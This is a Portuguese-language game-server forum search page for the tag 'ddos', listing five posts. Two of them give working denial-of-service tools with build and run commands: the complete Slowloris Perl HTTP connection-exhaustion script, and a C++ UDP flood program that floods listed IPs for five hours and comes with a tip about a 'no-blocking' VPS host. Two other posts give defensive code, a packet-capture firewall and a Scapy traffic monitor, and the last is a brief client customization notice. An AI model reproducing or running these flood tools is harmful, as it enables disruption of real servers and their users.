Ir para conteúdo
Facebook Whatsapp Twitter Youtube

Pesquisar na Comunidade

Mostrando resultados para as tags ''ddos''.

  • Pesquisar por Tags

    Digite tags separadas por vírgulas
  • Pesquisar por Autor

Tipo de Conteúdo


Fórum

  • Perfect World
    • Arquivos
    • Editores
    • Web
    • Mapas
    • Scripts
    • Customs
    • Segurança
    • Desenvolvimento
    • VIP
    • Tutorial
    • Perguntas
    • Soluções de Problema
    • Solicitações
    • Projetos
    • Diversos
  • Plus
    • Outros Jogos
    • Yokebone
    • Off-Topic
    • Histórico de Doações
    • Outro Idioma
  • Mercado
    • Vender
    • Comprar
    • Serviços
    • Indicação
    • Parcerias
  • Membros
    • Lista Negra
    • Banidos

Encontrar resultados em...

Encontrar resultados que...


Data de Criação

  • Início

    FIM


Data de Atualização

  • Início

    FIM


Filtrar pelo número de...

Data de Registro

  • Início

    FIM


Grupo


Sobre min

Encontrado 5 registros

  1. deprox

    Script Slowloris HTTP Flood

    Como Usar o Slowloris VERSÕES AFETADAS Este problema impacta vários servidores web, incluindo: Apache (versões 1.x e 2.x) dhttpd GoAhead WebServer Possivelmente outros servidores web Requisitos: sudo apt-get update sudo apt-get install perl sudo apt-get install libwww-mechanize-shell-perl sudo apt-get install perl-mechanize Utilizando ./slowloris.pl perl slowloris.pl -dns 127.0.0.1 -options #!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris by llaera =head1 VERSION Version 1.0 Stable =head1 DATE 02/11/2013 =head1 AUTHOR Laera Loris [email protected] =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
  2. Dependências sudo dnf install gcc-c++ glibc-devel make Compilar o código g++ ddos.cpp -o ddos -lpthread ./ddos VPS sem bloqueio: idconline.vn #include <iostream> #include <chrono> #include <thread> #include <cstring> #include <vector> #include <arpa/inet.h> #include <sys/socket.h> #include <unistd.h> #define PORT 29000 #define PACKET_SIZE 1024 // Paket boyutu (bayt cinsinden) #define PACKETS_PER_CYCLE 500 // Döngü başına gönderilecek paket sayısı #define CYCLE_DURATION 0.1 // Döngü süresi (milisaniye cinsinden) #define TOTAL_HOURS 5 // Çalışma süresi (saat cinsinden) #define TIMEOUT_SECONDS 10 // Bağlantı zaman aşımı süresi (saniye cinsinden) // Paketleri belirtilen IP'ye gönderen fonksiyon void send_packets(int sockfd, struct sockaddr_in& server_addr) { char packet[PACKET_SIZE]; memset(packet, 'A', PACKET_SIZE); for (int i = 0; i < PACKETS_PER_CYCLE; ++i) { sendto(sockfd, packet, PACKET_SIZE, 0, (struct sockaddr*)&server_addr, sizeof(server_addr)); } } int main() { // Hedef IP adresleri std::vector<std::string> ips = {"127.0.0.1", "127.0.0.2", "127.0.0.3", "127.0.0.4", "127.0.0.1"}; std::vector<int> sockets; std::vector<struct sockaddr_in> server_addrs; // Her IP için bir soket oluştur ve yapılandır for (const auto& ip : ips) { int sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { std::cerr << "Soket oluşturulurken hata: " << ip << std::endl; continue; } struct timeval timeout; timeout.tv_sec = TIMEOUT_SECONDS; timeout.tv_usec = 0; setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); struct sockaddr_in server_addr; memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(PORT); inet_pton(AF_INET, ip.c_str(), &server_addr.sin_addr); sockets.push_back(sockfd); server_addrs.push_back(server_addr); } auto start_time = std::chrono::steady_clock::now(); auto end_time = start_time + std::chrono::hours(TOTAL_HOURS); // Belirtilen süre boyunca paket gönder while (std::chrono::steady_clock::now() < end_time) { for (size_t i = 0; i < sockets.size(); ++i) { send_packets(sockets[i], server_addrs[i]); } std::this_thread::sleep_for(std::chrono::microseconds(static_cast<int>(CYCLE_DURATION * 1000))); } // Soketleri kapat for (int sockfd : sockets) { close(sockfd); } return 0; }
  3. deprox

    Firewall C++ D-Proxy

    Base Firewall usado no D-Proxy Sistema Operacional: Alma Linux 8 Módulos Ativos + Proteção contra ataques SYN Flood + Proteção contra ataques UDP Flood + Gerenciamento automático de bloqueios + Filtragem baseada em portas + Registro de logs + Execução automática de regras de firewall + Módulos como Fail2Ban, slowloris ou iptables com rate limiting podem ser implementados opcionalmente. como copilar? sudo dnf install -y gcc-c++ libpcap-devel firewalld g++ -o firewall_monitor firewall_monitor.cpp -lpcap -lpthread para deixar rodando 24 Hrs sudo dnf install -y screen screen -S firewall_monitor sudo ./firewall_monitor Ctrl + A, depois solte e aperte D config.txt ports=29000,3306,80,39000,22 firewall_monitor.cpp #include <iostream> #include <pcap.h> #include <unordered_map> #include <ctime> #include <cstring> #include <fstream> #include <sstream> #include <chrono> #include <thread> #include <vector> #include <algorithm> #include <cstdint> #include <arpa/inet.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/udp.h> #include <netinet/ip_icmp.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> // Ayarlar const std::string device = "eth0"; // Ağ arayüzü const int max_conn_per_sec = 200; // Saniye başına bağlantı limiti const int block_time = 86400; // Engelleme süresi (saniye cinsinden) (24 saat) const std::string log_file = "logs.txt"; // Günlük dosyası const std::string config_file = "config.txt"; // Yapılandırma dosyası // Bağlantı sayım yapıları struct ConnInfo { int count; std::time_t last_seen; }; std::unordered_map<std::string, ConnInfo> conn_count; // IP başına bağlantı sayacı std::unordered_map<std::string, ConnInfo> syn_count; // IP başına SYN sayacı std::unordered_map<std::string, ConnInfo> udp_count; // IP başına UDP sayacı std::unordered_map<std::string, std::time_t> blocked_ips; // Engellenen IP'ler ve süresi std::vector<uint16_t> ports; // Korumaya alınacak bağlantı noktaları (yapılandırma dosyasından yüklenir) // Günlük kaydı işlevi void log_message(const std::string& message) { std::ofstream log_stream(log_file, std::ios::app); if (log_stream.is_open()) { auto now = std::chrono::system_clock::now(); std::time_t now_time = std::chrono::system_clock::to_time_t(now); log_stream << "[" << std::ctime(&now_time) << "] " << message << std::endl; } } // IP engelleme işlevi void block_ip(const std::string& ip) { std::string command = "sudo firewall-cmd --permanent --add-rich-rule='rule family=\"ipv4\" source address=\"" + ip + "\" reject'"; system(command.c_str()); system("sudo firewall-cmd --reload"); blocked_ips[ip] = std::time(nullptr) + block_time; // Engelleme süresi belirlenir log_message("IP " + ip + " 24 saat boyunca engellendi."); } // Süresi dolmuş IP engellerini kaldıran işlev void unblock_expired_ips() { auto now = std::time(nullptr); for (auto it = blocked_ips.begin(); it != blocked_ips.end(); ) { if (now >= it->second) { std::string command = "sudo firewall-cmd --permanent --remove-rich-rule='rule family=\"ipv4\" source address=\"" + it->first + "\" reject'"; system(command.c_str()); system("sudo firewall-cmd --reload"); log_message("IP " + it->first + " engeli kaldırıldı."); it = blocked_ips.erase(it); } else { ++it; } } } // Paket işleme işlevi void process_packet(u_char* user, const struct pcap_pkthdr* pkthdr, const u_char* packet) { struct ip* ip_header = (struct ip*)(packet + 14); // Ethernet başlığını (14 bayt) atlar struct tcphdr* tcp_header = (struct tcphdr*)(packet + 14 + (ip_header->ip_hl << 2)); struct udphdr* udp_header = (struct udphdr*)(packet + 14 + (ip_header->ip_hl << 2)); struct icmp* icmp_header = (struct icmp*)(packet + 14 + (ip_header->ip_hl << 2)); char src_ip[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &(ip_header->ip_src), src_ip, INET_ADDRSTRLEN); uint16_t dst_port = 0; if (ip_header->ip_p == IPPROTO_TCP) { dst_port = ntohs(tcp_header->th_dport); } else if (ip_header->ip_p == IPPROTO_UDP) { dst_port = ntohs(udp_header->uh_dport); } // IP engellenmiş mi kontrol et if (blocked_ips.find(src_ip) != blocked_ips.end()) { return; // Engellenmiş IP'den gelen paketleri yok say } // Bağlantı noktası koruma listesinde mi kontrol et if (std::find(ports.begin(), ports.end(), dst_port) != ports.end()) { auto now = std::time(nullptr); // Eski bağlantıları temizle for (auto it = conn_count.begin(); it != conn_count.end(); ) { if (now - it->second.last_seen > 1) { it = conn_count.erase(it); } else { ++it; } } // SYN paketlerini say ve limit aşılırsa IP'yi engelle if (ip_header->ip_p == IPPROTO_TCP && (tcp_header->th_flags & TH_SYN)) { syn_count[src_ip].count++; syn_count[src_ip].last_seen = now; if (syn_count[src_ip].count > max_conn_per_sec) { block_ip(src_ip); syn_count.erase(src_ip); return; } } // UDP paketlerini say ve limit aşılırsa IP'yi engelle if (ip_header->ip_p == IPPROTO_UDP) { udp_count[src_ip].count++; udp_count[src_ip].last_seen = now; if (udp_count[src_ip].count > max_conn_per_sec) { block_ip(src_ip); udp_count.erase(src_ip); return; } } } } int main() { // Başlatma mesajı std::cout << "Anti-DDoS başlatılıyor..." << std::endl; log_message("Anti-DDoS başarıyla başlatıldı."); char errbuf[PCAP_ERRBUF_SIZE]; pcap_t* handle = pcap_open_live(device.c_str(), BUFSIZ, 1, 1000, errbuf); if (handle == nullptr) { std::cerr << "Aygıt açılırken hata: " << errbuf << std::endl; log_message("Aygıt açılırken hata: " + std::string(errbuf)); return 1; } // Ana döngü while (true) { pcap_loop(handle, -1, process_packet, nullptr); unblock_expired_ips(); // Süresi dolmuş IP engellerini kaldır std::this_thread::sleep_for(std::chrono::seconds(1)); } pcap_close(handle); return 0; }
  4. deprox

    PacketSentinel v3

    Bom uso a todos! Version: Python 3.13 Install: python3 -m pip install scapy #Notes Update Rate Limiting 03-01-25 Traffic Anomaly Detection 03-01-25 Packet Filtering 03-01-25 Add SSH monitoring 28-12-24 Config.txt # Configurações gerais de monitoramento e proteção # Defina as portas para monitoramento (exemplo: HTTP, SSH) PORTS_TO_MONITOR=80,7777,2106 # Se o bloqueio por HWID deve ser ativado BLOCK_HWID=true # Limites de pacotes MAX_PACKET_SIZE=1024 MAX_CONNECTIONS=100 CONNECTION_TIME_WINDOW=10 # Em segundos # Limitações de pacotes TCP e UDP MAX_TCP_PACKETS=500 MAX_UDP_PACKETS=300 # Configurações para proteção SSH SSH_PORT=22 SSH_BLOCK_THRESHOLD=5 # Número de tentativas antes de bloquear SSH_BLOCK_DURATION=3600 # Duração do bloqueio (em segundos) SSH_LOCKDOWN_THRESHOLD=10 # Número de tentativas excessivas antes de lockdown SSH_LOCKDOWN_DURATION=86400 # Duração do lockdown (1 dia) SSH_IP_ATTEMPTS_WINDOW=60 # Janela de tempo (em segundos) para tentativas de login SSH # Limitação de taxa de pacotes para evitar DDoS RATE_LIMIT_THRESHOLD=1000 # Limite de pacotes por IP DDoS_DETECTION_WINDOW=10 # Janela de tempo para detectar DDoS DDoS_CONNECTION_THRESHOLD=500 # Limite de conexões simultâneas que aciona a detecção de DDoS main.py import os import time import hashlib import uuid import platform import json import re from scapy.all import sniff, TCP, UDP, IP from collections import defaultdict from threading import Thread # Словари для хранения данных трафика и блокировок traffic_data = defaultdict(lambda: {"timestamps": [], "tcp_count": 0, "udp_count": 0, "packet_count": 0}) blocked_hwids = set() # Множество заблокированных HWID blocked_ips = defaultdict(lambda: {"block_time": None, "attempts": 0, "block_duration": 0}) # Блокировка IP # Стандартные настройки config = { "MAX_PACKET_SIZE": 1024, "MAX_CONNECTIONS": 100, "CONNECTION_TIME_WINDOW": 10, "PORTS_TO_MONITOR": [80, 7777, 2106], "MAX_TCP_PACKETS": 500, "MAX_UDP_PACKETS": 300, "BLOCK_HWID": True, "SSH_PORT": 22, "SSH_BLOCK_THRESHOLD": 5, # Порог для неудачных попыток входа SSH "SSH_BLOCK_DURATION": 3600, # Длительность блокировки SSH "SSH_LOCKDOWN_THRESHOLD": 10, # Количество чрезмерных попыток перед блокировкой "SSH_LOCKDOWN_DURATION": 86400, # Длительность блокировки (1 день) "SSH_IP_ATTEMPTS_WINDOW": 60, # Временное окно для попыток входа SSH "RATE_LIMIT_THRESHOLD": 1000, # Порог пакетов на IP "DDoS_DETECTION_WINDOW": 10, # Временное окно для обнаружения DDoS "DDoS_CONNECTION_THRESHOLD": 500 # Порог одновременных подключений } LOG_FILE = "logs.json" # Функция для загрузки конфигурации из файла def load_config(): global config if not os.path.exists("config.txt"): print("[INFO] Файл config.txt не найден. Используются настройки по умолчанию.") return with open("config.txt", "r") as file: for line in file: line = line.strip() if not line or line.startswith("#"): continue key, value = line.split("=") key = key.strip() value = value.split("#")[0].strip() if key in ["PORTS_TO_MONITOR"]: config[key] = list(map(int, value.split(","))) elif key in ["BLOCK_HWID"]: config[key] = value.lower() == "true" elif key in ["SSH_PORT", "SSH_BLOCK_THRESHOLD", "SSH_BLOCK_DURATION", "MAX_PACKET_SIZE", "MAX_CONNECTIONS", "CONNECTION_TIME_WINDOW", "MAX_TCP_PACKETS", "MAX_UDP_PACKETS", "RATE_LIMIT_THRESHOLD", "DDoS_DETECTION_WINDOW", "DDoS_CONNECTION_THRESHOLD", "SSH_LOCKDOWN_THRESHOLD", "SSH_LOCKDOWN_DURATION", "SSH_IP_ATTEMPTS_WINDOW"]: config[key] = int(value) else: config[key] = value # Функция для записи статистики def log_statistics(ip, hwid, reason, data): log_entry = { "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), "ip": ip, "hwid": hwid, "reason": reason, "tcp_count": data["tcp_count"], "udp_count": data["udp_count"] } try: with open(LOG_FILE, "r+") as f: logs = json.load(f) logs.append(log_entry) f.seek(0) json.dump(logs, f, indent=4) except Exception as e: print(f"[ERROR] Ошибка при сохранении в лог: {e}") # Функция для генерации уникального HWID def get_hwid(): mac_address = get_mac_address() system_uuid = get_system_uuid() unique_string = f"{mac_address}-{system_uuid}-{platform.system()}" return hashlib.sha256(unique_string.encode()).hexdigest() # Функция для получения MAC-адреса def get_mac_address(): try: mac = uuid.getnode() mac_address = ':'.join(("%012X" % mac)[i:i + 2] for i in range(0, 12, 2)) return mac_address except Exception: return "UNKNOWN_MAC" # Функция для получения UUID системы def get_system_uuid(): try: if platform.system() == "Linux": with open('/sys/class/dmi/id/product_uuid', 'r') as f: return f.read().strip() elif platform.system() == "Windows": import subprocess result = subprocess.check_output('wmic csproduct get uuid', shell=True).decode() return result.split('\n')[1].strip() return platform.node() except Exception: return "UNKNOWN_UUID" # Функция для мониторинга пакетов def monitor_packet(packet): if packet.haslayer(IP): src_ip = packet[IP].src current_time = time.time() hwid = get_hwid() # Инициализация данных трафика data = traffic_data[src_ip] if current_time not in data["timestamps"]: data["timestamps"].append(current_time) # Удаление меток времени, выходящих за пределы окна data["timestamps"] = [ ts for ts in data["timestamps"] if current_time - ts <= config["CONNECTION_TIME_WINDOW"] ] # Ограничение скорости: подсчет пакетов, полученных от IP data["packet_count"] += 1 # Обнаружение DDoS: ограничение пакетов на IP за определенный период времени if data["packet_count"] > config["RATE_LIMIT_THRESHOLD"]: print(f"[ALERT] IP {src_ip} отправляет слишком много пакетов. Возможная атака DDoS!") blocked_hwids.add(hwid) log_statistics(src_ip, hwid, "Превышен лимит пакетов", data) # Блокировка по TCP/UDP пакетам if packet.haslayer(TCP): data["tcp_count"] += 1 elif packet.haslayer(UDP): data["udp_count"] += 1 if data["tcp_count"] > config["MAX_TCP_PACKETS"]: blocked_hwids.add(hwid) log_statistics(src_ip, hwid, "Избыточное количество TCP пакетов", data) print(f"[ALERT] Избыточное количество TCP пакетов: {src_ip}") elif data["udp_count"] > config["MAX_UDP_PACKETS"]: blocked_hwids.add(hwid) log_statistics(src_ip, hwid, "Избыточное количество UDP пакетов", data) print(f"[ALERT] Избыточное количество UDP пакетов: {src_ip}") elif len(data["timestamps"]) > config["MAX_CONNECTIONS"]: blocked_hwids.add(hwid) log_statistics(src_ip, hwid, "Избыточное количество соединений", data) print(f"[ALERT] Избыточное количество соединений: {src_ip}") # Функция для мониторинга трафика SSH def monitor_ssh_traffic(): print("[INFO] Мониторинг трафика SSH...") try: sniff(filter=f"tcp port {config['SSH_PORT']}", prn=process_ssh_packet, store=False) except KeyboardInterrupt: print("[INFO] Мониторинг SSH прерван.") except Exception as e: print(f"[ERROR] Ошибка мониторинга SSH: {e}") # Функция для обработки пакетов SSH def process_ssh_packet(packet): if packet.haslayer(IP) and packet.haslayer(TCP): src_ip = packet[IP].src handle_ssh_attempt(src_ip) # Функция для обработки попыток входа SSH def handle_ssh_attempt(ip): current_time = time.time() data = blocked_ips[ip] # Если IP был заблокирован на более длительный период if data["block_time"] and current_time - data["block_time"] < data["block_duration"]: return # Увеличиваем счетчик попыток входа SSH data["attempts"] += 1 if data["attempts"] > config["SSH_BLOCK_THRESHOLD"]: block_ip(ip) data["block_time"] = current_time data["block_duration"] = config["SSH_BLOCK_DURATION"] # Длительность блокировки if data["attempts"] > config["SSH_LOCKDOWN_THRESHOLD"]: lockdown_ip(ip) data["block_time"] = current_time data["block_duration"] = config["SSH_LOCKDOWN_DURATION"] # Длительность блокировки # Функция для блокировки IP def block_ip(ip): print(f"[INFO] IP {ip} заблокирован за слишком много попыток входа SSH.") # Функция для применения блокировки для IP def lockdown_ip(ip): print(f"[INFO] IP {ip} попал в блокировку за слишком много попыток входа SSH.") # Функция для разблокировки IP после истечения срока блокировки def unblock_expired_ips(): current_time = time.time() for ip in list(blocked_ips.keys()): if current_time - blocked_ips[ip]["block_time"] > config["SSH_BLOCK_DURATION"]: print(f"[INFO] IP {ip} разблокирован.") del blocked_ips[ip] # Функция для начала мониторинга def start_monitoring(): print(f"[INFO] Мониторинг портов: {config['PORTS_TO_MONITOR']}") try: ports_filter = " or ".join([f"tcp port {port} or udp port {port}" for port in config["PORTS_TO_MONITOR"]]) sniff(filter=ports_filter, prn=monitor_packet, store=False) except KeyboardInterrupt: print("[INFO] Мониторинг прерван.") except Exception as e: print(f"[ERROR] Ошибка мониторинга: {e}") if __name__ == "__main__": load_config() # Запуск мониторинга SSH в отдельном потоке ssh_thread = Thread(target=monitor_ssh_traffic, daemon=True) ssh_thread.start() start_monitoring()
  5. venho trazer para vocês uma customização para o cliente 155 fação bom uso, venda proibida!

Suporte GM

Comunidade de Perfect World do Brasil

Copyright © 2023-2024 SuporteGM Powered by Invision Community
Поддержка Invision Community в России

Links

×
×
  • Criar Novo...